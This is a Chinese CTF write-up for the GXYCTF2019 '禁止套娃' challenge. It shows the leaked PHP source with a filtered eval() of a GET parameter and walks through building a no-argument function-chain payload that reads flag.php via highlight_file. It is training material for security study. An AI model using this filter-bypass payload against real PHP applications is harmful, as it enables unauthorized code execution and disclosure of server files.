[GXYCTF2019]禁止套娃
阿新 • • 發佈:2020-09-23
拿到這道題,抓包看了看,啥也沒有,考慮用dirsearch爆破目錄,未果,忍不住看了下大佬的wp,原來是./git原始碼洩露,當然這並沒有完,精彩的還在後面呢,我們來看一下這道題
題目
開啟題目就是個這
用dirsearch爆破目錄未果,用githack探測發現有index.php這個檔案
分析
1 <?php
2 include "flag.php";
3 echo "flag在哪裡呢?<br>";
4 if(isset($_GET['exp'])){
5 if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET ['exp'])) {
6 if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
7 if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
8 // echo $_GET['exp'];
9 @eval($_GET['exp']);
10 }
11 else{
12 die ("還差一點哦!");
13 }
14 }
15 else{
16 die("再好好想想!");
17 }
18 }
19 else{
20 die("還想讀flag,臭弟弟!");
21 }
22 }
23 // highlight_file(__FILE__);
24 ?>
分析原始碼
1.需要以GET形式傳入一個名為exp的引數。如果滿足條件會執行這個exp引數的內容。
2.過濾了常用的幾個偽協議,不能以偽協議讀取檔案。
3.(?R)引用當前表示式,後面加了?遞迴呼叫。只能匹配通過無引數的函式。
4.正則匹配掉了et/na/info等關鍵字,很多函式都用不了。
5:eval($_GET['exp']); 典型的無引數RCE
關鍵點還是在這句程式碼中
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))
我們先來分析一下正則
它其實大體上就匹配的是一個函式,就例如a();
注意正則裡有一個?R,這玩意兒是引用當前表示式,後面再加?是遞迴呼叫
最後替換後就是個;
所以exp必須要是a(b());這種型別的才可
既然getshell基本不可能,那麼考慮讀原始碼
看原始碼,flag應該就在flag.php
我們想辦法讀取
首先需要得到當前目錄下的檔案
scandir()函式可以掃描當前目錄下的檔案,例如:
<?php
print_r(scandir('.'));
?>
那麼問題就是如何構造
scandir('.')
這裡再看函式:
localeconv() 函式返回一包含本地數字及貨幣格式資訊的陣列。而陣列第一項就是.
current() 返回陣列中的當前單元, 預設取第一個值。
pos() current() 的別名。
這裡還有一個知識點:
current(localeconv())永遠都是個點
那麼我們第一步就解決了:
print_r(scandir(current(localeconv())));
現在的問題就是怎麼讀取倒數第二個陣列呢?
這裡主要用到兩個函式next()和array_reverse()
next()
arrar_reverse()
scandir函式的返回值是一個數組,如果把陣列逆序排列,再用一個next不就可以了嗎,highlight_file
輸出,payload:
最後的payload
?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));